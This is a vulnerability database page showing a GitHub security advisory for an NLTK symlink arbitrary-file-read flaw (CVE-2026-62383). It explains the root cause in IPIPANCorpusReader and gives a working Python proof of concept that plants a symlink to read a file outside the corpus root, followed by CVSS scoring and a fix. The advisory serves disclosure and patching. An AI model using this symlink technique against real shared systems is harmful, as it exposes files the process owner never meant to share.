GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-3HHW-38PF-PXJ6

Vulnerability from github – Published: 2026-09-08 16:40 – Updated: 2026-09-08 16:40
VLAI
Summary
NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely
Details

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through _get_tag():

def _get_tag(self, f, tag):
    tags = []
    with open(f) as infile:   # builtin open(), no pathsec involvement
        header = infile.read()
    ...

f arrives via _list_header_files() / _list_morph_files_by(), both of which call:

f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

import os
import tempfile

from nltk.corpus.reader.ipipan import IPIPANCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)

with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
    f.write("<channel>legit</channel>")

secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")

os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))

reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))

result = reader.channels(fileids=["evil_link.xml"])
print(result)

Actual output when run against current develop:

Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call.
  • Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool.
  • Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader.
  • Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

  • AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.
  • PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.
  • UI:N: fires during routine, automated corpus processing, no separate victim action.
  • S:U: stays within the same process's existing privileges.
  • C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:40:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`IPIPANCorpusReader` (`nltk/corpus/reader/ipipan.py`) exposes public methods, `channels()`, `domains()`, `categories()`, and `fileids(channels=...)`, that accept a caller supplied `fileids` list and read a file via a completely unprotected builtin `open()` call, with no `nltk.pathsec` involvement at all. A symlink placed inside the corpus root, with a name containing no separators or `..`, passes NLTK\u0027s existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.\n\n## Root cause\n\nAll four methods route through `_get_tag()`:\n\n```python\ndef _get_tag(self, f, tag):\n    tags = []\n    with open(f) as infile:   # builtin open(), no pathsec involvement\n        header = infile.read()\n    ...\n```\n\n`f` arrives via `_list_header_files()` / `_list_morph_files_by()`, both of which call:\n\n```python\nf.replace(\"morph.xml\", \"header.xml\")\n```\n\non the result of `self.abspath(...)` or `self.abspaths(...)`. `FileSystemPathPointer` subclasses `str`, so `.replace()` returns a plain Python string, silently discarding the `PathPointer` wrapper. That plain string is handed straight to builtin `open()`.\n\nThis is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (`CorpusReader.open()`, `NKJPCorpusReader.add_root()`, and the recent `FramenetCorpusReader` fix): those route file access through `nltk.pathsec.validate_path()`, at minimum the global, non-scoped check, before opening. Here, converting the `PathPointer` to a plain string before calling `open()` skips `pathsec` completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered `nltk.data.path` root.\n\nPlain literal `../` traversal in the fileid is still blocked by `FileSystemPathPointer.join()`, so this is specifically the symlink variant, not a regression of the older, simpler traversal class.\n\n## Proof of concept\n\nConstructed the normal, documented way, `fileids` as a regex over file paths, so the reader auto-discovers whatever `.xml` files exist in its root with no special knowledge of the planted symlink.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.ipipan import IPIPANCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"ipipan\")\nos.makedirs(corpus_root)\n\nwith open(os.path.join(corpus_root, \"real_morph.xml\"), \"w\") as f:\n    f.write(\"\u003cchannel\u003elegit\u003c/channel\u003e\")\n\nsecret_dir = os.path.join(root, \"outside_ipipan_root\")\nos.makedirs(secret_dir)\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\"\u003cchannel\u003eTOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT\u003c/channel\u003e\")\n\nos.symlink(secret_path, os.path.join(corpus_root, \"evil_link.xml\"))\n\nreader = IPIPANCorpusReader(corpus_root, r\".*\\.xml\")\nprint(\"Auto-discovered fileids:\", sorted(reader.fileids()))\n\nresult = reader.channels(fileids=[\"evil_link.xml\"])\nprint(result)\n```\n\nActual output when run against current `develop`:\n\n```\nAuto-discovered fileids: [\u0027evil_link.xml\u0027, \u0027real_morph.xml\u0027]\n[\u0027TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT\u0027]\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`. No exception raised anywhere. The planted symlink even surfaces naturally in the reader\u0027s own `fileids()` listing, exactly as a real file would.\n\nVerified separately that literal `../` traversal in the fileid is still rejected (`ValueError: Traversal blocked`), confirming this is specifically the symlink gap, not a broader regression.\n\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (`SECURITY.md` names \"shared environments... multi-tenant pipelines\" as the project\u0027s own stated threat model) plus a completely normal API call.\n- Core corpus-reader code, reached through plain `import nltk` and documented, programmatic usage (`words()`, `sents()`, `channels()`, etc.), not a demo or GUI tool.\n- Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for `FramenetCorpusReader` and `NKJPCorpusReader`.\n- Not a bypass of a claimed fix. `ipipan.py` has never had security hardening applied, and has no dedicated test coverage at all.\n\n## CVSS v3.1\n\n- **AV:L, AC:L**: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.\n- **PR:L**: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.\n- **UI:N**: fires during routine, automated corpus processing, no separate victim action.\n- **S:U**: stays within the same process\u0027s existing privileges.\n- **C:H, I:N, A:N**: arbitrary file read only, no write, no crash.\n\n## Suggested fix\n\nRoute `_get_tag()` through `nltk.pathsec.validate_path()` with the corpus root as `required_root`, or through `CorpusReader.open()`, instead of converting the `PathPointer` to a plain string and calling builtin `open()` directly. The same fix pattern already applied to `FramenetCorpusReader` and `NKJPCorpusReader` applies directly here.",
  "id": "GHSA-3hhw-38pf-pxj6",
  "modified": "2026-09-08T16:40:38Z",
  "published": "2026-09-08T16:40:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62383"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3727"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/ee1a42e51982c4dce6ad3ee77ff1ac43894288ab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3726.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…